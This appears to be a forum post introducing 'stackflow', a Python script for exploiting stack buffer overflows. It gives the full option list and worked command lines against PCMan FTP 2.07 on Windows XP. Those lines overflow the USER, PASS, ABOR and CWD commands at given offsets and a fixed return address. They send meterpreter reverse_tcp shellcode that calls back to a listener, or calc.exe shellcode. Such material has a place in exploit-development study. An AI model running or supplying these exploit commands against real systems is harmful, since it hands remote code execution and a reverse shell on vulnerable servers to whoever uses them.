Hey party people,
I was looking at some stack based EIP overwrite buffer-overflows and realised that I should make a script that can do all of them so I don't have to write one ever again.
https://github.com/d4rkcat/stackflow[gist]d4rkcat/8893810[/gist]
You can put all of the details in at the command line and there are 3 types of buffer that can be sent to a program:
1. Fuzzing - cyclic pattern
2. Calc - send calc.exe shellcode
3. MSF - send any MSF payload
usage: ./stackflow.py OPTIONS
optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST
rhost
-p RPORT, --rport RPORT
rport
-c CMDS, --cmds CMDS commands to send to server before overflow
-v VULNCMD, --vulncmd VULNCMD
vulnerable command
-o OFFSET, --offset OFFSET
offset to EIP
-a RETURNADD, --returnadd RETURNADD
return addess
-n NOPS, --nops NOPS number of NOPS \x90 to prepend
-m PAYLOAD, --payload PAYLOAD
MSF payload
-i LHOST, --lhost LHOST
lhost
-l LPORT, --lport LPORT
lport
-f FUZZ, --fuzz FUZZ Fuzz command with cyclic pattern
-e CFEXPORT, --cfexport CFEXPORT
Export exploit config to file
-g CFIMPORT, --cfimport CFIMPORT
Import exploit config from file
-t, --calc Send a calc.exe shellcode
-d, --display Display the exploit buffer
Some examples for PCMan FTP 2.07 running on WindowsXP SP3(ENG):
Vulnerable app:
http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7zexploit without any commands and send meterpreter/reverse_tcp shellcode dialing back to 192.168.0.2 on port 4444
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2011 -m windows/meterpreter/reverse_tcp -a 7E429353
exploit the USER command and send meterpreter/reverse_tcp shellcode dialing back to 192.168.0.2 on port 4444
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353
exploit the PASS command and send calc.exe shellcode
./stackflow.py -r 192.168.0.9 -p 21 -o 6102 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t
exploit the ABOR command and send calc.exe shellcode
./stackflow.py -r 192.168.0.9 -p 21 -o 2006 -v 'ABOR' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t
exploit the CWD command and send calc.exe shellcode and display the exploit buffer
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'CWD' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t -d
fuzz the STOR command with a cyclic buffer of size 3000
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS a@a.com' -f 3000
once your done tweaking your exploit, you can export it to a config file for easy reuse
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'CWD' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t -e cwdsploit
and use the config file to exploit
./stackflow.py -g cwdsploit